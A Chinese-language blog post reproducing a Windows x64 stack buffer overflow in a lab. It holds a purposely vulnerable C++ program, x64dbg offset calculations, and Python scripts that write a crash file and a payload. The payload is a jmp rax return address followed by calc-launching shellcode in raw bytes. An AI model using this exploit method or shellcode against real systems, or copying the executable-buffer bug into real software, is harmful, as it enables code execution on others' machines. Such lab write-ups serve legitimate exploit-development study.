记一次Windows 64位缓冲区溢出

以下为原文链接,但是我在复现时出了些问题;在实现方面也与原文有所不同。

https://www.coalfire.com/the-coalfire-blog/september-2020/the-basics-of-exploit-development-5-x86-64-buffer

环境

Win10 18363 + x64dbg;

原文中还使用了x64dbg的ERC插件,但是通过观察栈帧、计算偏移也可以实现。

以下为溢出样本代码。

#include <iostream>  
#include <string>
#include <fstream>
#include <windows.h>

  inline bool file_exists(const std::string & name) 
  {
		    std::ifstream f(name.c_str());
		    return f.good();
  }

  void exploitable(const char* p, int len)
	{
	    char buffer[700];
	    long unsigned int out_protect;
	    if (!VirtualProtect((void*)buffer, 700, PAGE_EXECUTE_READWRITE, &out_protect)) {
		        puts("Failed to mark buffer as executable");
		        exit(1);
				}
	    memcpy(buffer, p, len);
	}

 int main()
 {
	    std::string inputFile = "";
	    std::string inputText = "";
		std::cout << "Please enter filename:\n";
	    std::cin >> inputFile;
	
		    bool fileExists = file_exists(inputFile);
	
		    if (fileExists == true) 
			{
		        std::ifstream t(inputFile);
		        std::string str((std::istreambuf_iterator<char>(t)),
			        std::istreambuf_iterator<char>());
		        inputText = str;
			}
			 else 
			{
		        std::cout << "File does not exist\n";
		        std::cin >> inputFile;
		        return 0;
			}
	
		 exploitable(inputText.c_str(), inputText.size());
		 std::cin >> inputText;
	
		 return 0;
}

        可以观察到在exploitable函数中定义了一大片缓冲区buffer,并且利用VirtualProtect函数修改了字符数组buffer所在地址的执行权限。接下来就要使用大量的数据来填充缓冲区,观察栈帧情况,计算缓冲区起始地址到函数返回地址的偏移量。

        为了确定漏洞的存在,利用如下python脚本生成payload。

f = open("crash-1.txt", "wb") 
buf = b"A" * 1000
f.write(buf)
f.close()

        运行脚本后会生成一个txt文档,由1000个A组成。使用x64dbg打开溢出样本,运行后输入txt的路径。观察x64dbg中的栈帧布局

 

        左图为缓冲区起始地址:0x14FA00。右图为函数返回地址:0x14FCC8。计算出两者的偏移得出 0x14FCC8 - 0x14FA00 = 0x2C8 = 712。因此可以得知我们需要712字节的数据来填充缓冲区起始到函数返回地址直接的区域。偏移既然已经计算出来了,下一步就是怎样覆盖函数地址。注意观察此时寄存器中的值:

         RAX中的值为memcpy函数的返回值,RAX中的值为一个内存地址,我们可以在内存窗口中查看该地址,如下:

         该地址中的内容也正是上述python脚本生成的payload内容。故可以想到将函数返回地址复改为jmp rax所在的地址,如下:

         在x64dbg中右键 --> 搜索 --> 所有模块 --> 命令,搜索jmp rax所在地址有如下结果:

         我们选取0x7D6AA0地址为新的函数返回地址,重新编写payload为:

f = open("crash-4.txt", "wb")
buf =  b""  
buf += b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41"  
buf += b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48"  
buf += b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f"  
buf += b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c"  
buf += b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52"  
buf += b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b"  
buf += b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0"  
buf += b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56"  
buf += b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9"  
buf += b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0"  
buf += b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58"  
buf += b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"  
buf += b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0"  
buf += b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"  
buf += b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"  
buf += b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00"  
buf += b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41"  
buf += b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41"  
buf += b"\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06"  
buf += b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"  
buf += b"\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65"  
buf += b"\x78\x65\x00"  
buf += b"\x90" * (712 - len(buf))  
buf += b"\xA0\x6A\x7D\x00\x00\x00\x00\x00" #00000000007D6AA0  
buf += b"\x41" * 300  
f.write(buf)
f.close() 

         重新生成txt文档,并且在x64dbg中打开溢出样本:

 

         此时要注意一点:下图为RAX所在地址的内存,也就是shellcode存放的位置

         可是这段地址在内存布局中查看时,却没有执行权限,如果继续步入会爆出C0000005 (EXCEPTION_ACCESS_VIOLATION)异常。

         可是在调用VirtualProtect函数时就已经修改地址区域执行权限,这点可能是因为页面大小的问题。为了成功进入到shellcode,手动修改0x14A0000起始处执行权限。

         再次执行,成功进入到shellcode,弹出计算器进程。

 

 

 

 

 

 

 

 

 

 

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值